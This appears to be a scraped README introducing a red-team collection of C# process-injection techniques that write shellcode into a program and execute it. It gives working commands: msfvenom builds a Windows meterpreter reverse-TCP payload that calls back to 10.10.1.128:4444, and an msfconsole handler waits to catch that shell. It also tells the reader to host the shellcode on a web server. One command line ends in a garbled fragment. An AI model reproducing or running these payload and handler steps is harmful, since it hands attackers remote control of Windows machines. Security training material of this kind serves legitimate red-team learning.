28 lines
1.3 KiB
Markdown
28 lines
1.3 KiB
Markdown
# Process Injection Intro
|
|
|
|
Proc injection to write shellcode bytes into a program and execute the shellcode. These techniques have a range of OPSEC strengths and weaknesses.
|
|
|
|
Pull these `.cs` files into a Visual Studio solution and build in order to use them.
|
|
|
|
For all of these techniques, we will use a meterpreter payload hosted on a webserver:
|
|
|
|
```
|
|
┌──(kali㉿kali)-[~/Desktop]
|
|
└─$ sudo msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.1.128 LPORT=4444 -f raw > shellcode.bin
|
|
|
|
┌──(kali㉿kali)-[~/Desktop]
|
|
└─$ ip -br -c a
|
|
lo UNKNOWN 127.0.0.1/8 ::1/128
|
|
eth0 UP 10.10.1.128/24 fe80::20c:29ff:fede:1765/64
|
|
```
|
|
|
|
Host on python server and start msfconsole:
|
|
|
|
```
|
|
┌──(kali㉿kali)-[~/Desktop]
|
|
└─$ msfconsole -x "use multi/handler;set payload windows/x64/meterpreter_reverse_tcp; set LHOST 10.10.1.128; set LPORT 4444; run"an use this or Vanara:
|
|
```
|
|
|
|
Each of these techniques make use of a `Win32.cs` class file that import the types, delegates, and structs needed to call the Win32 API directly. All relevant code for performing the injection itself will be in the main class file within each notebook (i.e. `CreateThread.cs`). You can use them or another P/Invoke method (I recommend Vanara)
|
|
|
|
[https://github.com/dahall/Vanara](https://github.com/dahall/Vanara) |